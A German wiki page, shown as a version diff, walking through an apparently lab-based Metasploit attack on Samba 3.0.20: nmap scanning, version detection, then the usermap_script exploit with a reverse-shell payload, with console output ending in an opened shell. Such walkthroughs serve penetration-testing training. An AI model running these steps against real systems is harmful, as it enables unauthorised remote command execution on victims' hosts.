Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(36 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Schwachstelle suchen=
 
=Schwachstelle suchen=
*Mittels nmap einen Port suchen. In diesem Fall Samba.
+
==Mittels nmap einen Port suchen. In diesem Fall Samba==
*'''Befehl:''' root@kali:~# nmap -sV 10.82.1.101
+
*nmap -sV 10.0.10.105 -p 445
 +
...
 +
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 12:48 CET
+
=Genaue Version=
Nmap scan report for 10.82.1.101
+
;Durch nmap kann die genaue Version von Samba nicht gesehen werden.
Host is up (0.00015s latency).
+
;Deshalb wird ein Modul von Metasploit benötigt.
Not shown: 977 closed ports
+
 
PORT    STATE SERVICE    VERSION
+
=msfconsole starten=
  21/tcp  open  ftp        vsftpd 2.3.4
+
*msfconsole
22/tcp   open  ssh        OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
+
;Ab hier geht es in der msfconsole weiter
23/tcp  open  telnet      Linux telnetd
+
*msf6 > use auxiliary/scanner/smb/smb_version
25/tcp  open  smtp        Postfix smtpd
+
;Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
53/tcp  open  domain      ISC BIND 9.4.2
+
*msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
+
;Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
  111/tcp open rpcbind
+
*msf6 auxiliary(scanner/smb/smb_version) > show options
  <b>139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
+
;Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden
  445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</b>
+
*msf6 auxiliary(scanner/smb/smb_version) > run
512/tcp  open  exec        netkit-rsh rexecd
+
  [*] 10.0.10.105:445      -   Host could not be identified: Unix (Samba 3.0.20-Debian)
513/tcp  open  login
+
 
514/tcp  open  tcpwrapped
+
=Passendes Module suchen=
1099/tcp open  java-rmi    GNU Classpath grmiregistry
+
;Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
1524/tcp open  bindshell  Metasploitable root shell
+
*search Samba 3.0.20
2049/tcp open  rpcbind
+
<pre>
2121/tcp open  ftp        ProFTPD 1.3.1
+
Matching Modules
3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
+
================
  5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
+
 
  5900/tcp open  vnc        VNC (protocol 3.3)
+
  # Name                                Disclosure Date Rank      Check Description
6000/tcp open  X11        (access denied)
+
  - ----                                --------------- ----      ----- -----------
  6667/tcp open irc        UnrealIRCd
+
  0 exploit/multi/samba/usermap_script 2007-05-14      excellent No    Samba "username map script" Command Execution
  8009/tcp open ajp13       Apache Jserv (Protocol v1.3)
+
 
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
+
 
 +
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
 +
</pre>
 +
 
 +
 
 +
=Laden das Modul=
 +
*use exploit/multi/samba/usermap_script
 +
;Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
 +
;Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
 +
 
 +
=Konfiguration des Samba Modules=
 +
*Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden.
 +
===RHOST===
 +
*msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
 +
  RHOST => 10.0.10.105
 +
 
 +
===PAYLOAD===
 +
*msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
 +
  PAYLOAD => cmd/unix/reverse
 +
;Mit '''show options''' kann die momentane Konfiguration
 +
*msf6 exploit(multi/samba/usermap_script) > show options
 +
<pre>
 +
Module options (exploit/multi/samba/usermap_script):
 +
 
 +
  Name    Current Setting Required Description
 +
  ----    --------------- --------  -----------
 +
  RHOSTS 10.0.10.105      yes       The target host(s), range CIDR identifier, or hosts file with syn
 +
                                      tax 'file:<path>'
 +
  RPORT  139              yes      The target port (TCP)
  
=Genaue Version=
 
Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt.
 
*Es wird folgender Befehl in der msfconsole abgesetzt um das Versions Module zu nutzen:
 
**'''msf5 >''' use auxiliary/scanner/smb/smb_version
 
  
*Nun wird noch die RHOSTS (Die IP des Opfers) benötigt
+
Payload options (cmd/unix/reverse):
**'''msf5 auxiliary(scanner/smb/smb_version) >''' set RHOSTS 10.82.1.101
 
  
*Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
+
  Name  Current Setting  Required  Description
 +
  ----  ---------------  --------  -----------
 +
  LHOST  10.0.10.101      yes      The listen address (an interface may be specified)
 +
  LPORT  4444            yes      The listen port
  
msf5 auxiliary(scanner/smb/smb_version) > show options
 
  
Module options (auxiliary/scanner/smb/smb_version):
+
Exploit target:
  
  Name       Current Setting  Required  Description
+
  Id Name
   ----      ---------------  --------  -----------
+
   --  ----
RHOSTS    10.82.1.101     yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
+
  0  Automatic
SMBDomain  .               no        The Windows domain to use for authentication
+
</pre>
SMBPass                    no        The password for the specified username
+
=Exploit ausführen=
SMBUser                    no        The username to authenticate as
+
*msf6 exploit(multi/samba/usermap_script) > exploit
THREADS    1               yes      The number of concurrent threads (max one per host)
+
<pre>
 +
[*] Started reverse TCP double handler on 10.0.10.101:4444
 +
[*] Accepted the first client connection...
 +
[*] Accepted the second client connection...
 +
[*] Command: echo jEJ39DSiCoeqjn4t;
 +
[*] Writing to socket A
 +
[*] Writing to socket B
 +
[*] Reading from sockets...
 +
[*] Reading from socket B
 +
[*] B: "jEJ39DSiCoeqjn4t\r\n"
 +
[*] Matching...
 +
[*] A is input...
 +
[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
 +
</pre>
 +
;Wir haben kein Prompt aber eine Shell

Aktuelle Version vom 28. Juli 2021, 12:15 Uhr

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

  • nmap -sV 10.0.10.105 -p 445
...
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden.
Deshalb wird ein Modul von Metasploit benötigt.

msfconsole starten

  • msfconsole
Ab hier geht es in der msfconsole weiter
  • msf6 > use auxiliary/scanner/smb/smb_version
Nun wird noch die RHOSTS (Die IP des Opfers) benötigt
  • msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
Durch den Befehl show options werden die momentanen Einstellung gezeigt
  • msf6 auxiliary(scanner/smb/smb_version) > show options
Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
  • msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.105:445       -   Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden
  • search Samba 3.0.20
Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script


Laden das Modul

  • use exploit/multi/samba/usermap_script
Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

  • Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

  • msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
RHOST => 10.0.10.105

PAYLOAD

  • msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
Mit show options kann die momentane Konfiguration
  • msf6 exploit(multi/samba/usermap_script) > show options
 
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.10.105      yes       The target host(s), range CIDR identifier, or hosts file with syn
                                      tax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.10.101      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Exploit ausführen

  • msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 10.0.10.101:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jEJ39DSiCoeqjn4t;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "jEJ39DSiCoeqjn4t\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
Wir haben kein Prompt aber eine Shell